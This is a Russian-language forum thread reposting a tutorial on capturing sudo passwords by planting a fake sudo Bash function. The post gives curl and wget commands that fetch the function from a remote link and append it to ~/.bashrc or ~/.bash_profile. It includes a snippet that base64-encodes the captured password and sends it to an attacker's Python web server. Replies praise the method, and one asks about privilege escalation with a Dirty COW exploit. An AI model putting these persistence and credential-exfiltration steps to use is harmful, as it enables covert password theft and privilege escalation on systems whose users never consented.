![]() |
С помощью простого трюка социальной инженерии, пароли sudo могут быть захвачены в считанные секунды без ведома цели. Пароли могут быть сохранены в файл или будут отправляться к другому компьютеру.
После эксплуатирования системы, пентестеры и хакеры часто начинают атаки эскалации привилегий (privesc). Такие атаки включают эксплуатацию ядра и фишинг паролей. Рекомендуемая здесь атака использует подход социальной инженерии, используя функции Bash для эмуляции функциональности команды sudo. Как Sudo должен работать Давайте используем следующие команды whoami и id в качестве примера. Если мы введем whoami в терминал, он вернет текущее имя пользователя. Код: Код:
whoamiКод: Код:
id -uКод: Код:
sudo id -uКод: Код:
type sudoКод: Код:
/usr/bin/sudo /usr/bin/whoamiСпособ интерпретации sudo (или любой команды) может быть изменен таким образом, чтобы он был прозрачным для пользователя. Как и псевдонимы Bash, сложные функции можно импортировать в оболочку. Возьмите приведенный ниже GIF в качестве примера. Мы видим, что выполнение обычной команды apt-get update завершается неудачей, потому что "sudo" больше не интерпретируется как прямая ссылка на реальный двоичный файл sudo. Теперь это функция, которая печатает произвольный текст. Этим очень легко злоупотребить. Функция "sudo" может вести себя точно так же, как настоящий sudo, при записи и эксфильтрации пароля цели. У Вас Уже Должен Быть Удаленный Доступ В данной статье предполагается, что удаленный доступ к целевой системе установлен. С macOS target, это может быть достигнуто с необнаруживаемой полезной нагрузкой, USB drop attack или USB Rubber Ducky. Серверы Ubuntu и Debian также могут использоваться с использованием различных SSH и серверных уязвимостей. Создание вредоносной функции Bash Этот вид злоупотребления лучше демонстрируется в нижеследующей функции. Код: Код:
function sudo () {Как мы видим, цель по-прежнему запрашивается с запросом пароля при попытке установить программное обеспечение. Захваченный пароль сохраняется в файле /tmp/hackedPasswd.txt Целевые Системы Debian И Ubuntu В системах Debian и Ubuntu, когда открывается новый терминал или оболочка, выполняется файл ~/.bashrc . Этот файл (который может быть изменен пользователями без root) обычно определяет полезные атрибуты, такие как псевдонимы, ограничение истории и переменные цвета. Он также может быть использован для импорта вредоносных функций Bash. Это будет работать для серверов Debian, Ubuntu и систем macOS. Для удобства я загрузил вредоносную функцию sudo на свою страницуGitHub. Его можно загрузить в систему цели, используя следующую команду. Код: Код:
curl 'https://git.io/fhNWm' >> ~/.bashrcКод: Код:
wget -O- 'https://git.io/fhNWm' >> ~/.bashrcЭтот вид атаки менее эффективен против пользователей mac OS. Просто потому, что они не так часто открывают терминал и выполняют команды с повышенными правами. Пользователям MacOS команда sudo не нужна так часто, как пользователям VPS или Ubuntu desktop. Тем не менее, я покажу, как настроить это против цели macOS, поскольку это может быть полезно для некоторых пентестеров, исследующих каждый возможный маршрут, чтобы повысить их бэкдор. Как ~/.bashrc , macOS выполняют ~/.bash__profile file при открытии терминала. В этом файле могут храниться вредоносные хэш-функции. Используйте приведенную ниже команду wget для импорта функции в профиль bash цели. Код: Код:
wget -O- 'https://git.io/fhNWm' >> ~/.bash_profilehttps://forum.antichat.xyz/attachmen...2207953012.png Как Вытащить пароль В дополнение к сохранению пароля в каталоге / tmp желательно чтобы пароль был отправлен на другой компьютер или сервер. Правильный прослушиватель PHP может быть настроен для перехвата данных, содержащих пароль. Я решил взять немного неортодоксальный подход и предложить быстрое и грязное решение. Для этого метода требуется простой сервер Python3, настроенный в системе Kali злоумышленника. http.server (- m) создаст веб-сервер с использованием порта 80. Код: Код:
python3 -m http.server 80Код: Код:
encoded=$(printf '%s' "$inputPasswd" | base64) > /dev/null 2>&1;Имя пользователя и пароль цели фактически отправляются в URL-адресе. Представьте, что вы просите " Код:
http://192.168.1.X/tokyoneon:sUp3R-S3cUre_P@$$w0000rD!Код: Код:
Serving HTTP on 0.0.0.0 port 80 ... |
Эксплойты не крадут пароли. эксплойт сразу root привилегии даст и выполнение команд.
А в обще хорошая статья мне нравится. |
Спасибо за статью. Очень много применений можно найти замене команды на вредоносную.
|
отличная статья, вот только сейчас на vps у себя пробовал применить, под обычным юзером запись в bashrc Permission denied (
что еще можно сделать если листинг дирректорий до корневой доступен? /etc/passwd читается, охото себя самого поломать ) Linux Kernel 2.6.32. Dyrti последний пробовал, пользователя не добавляет, так как после прошлого года уже было обновление |
| Время: 11:16 |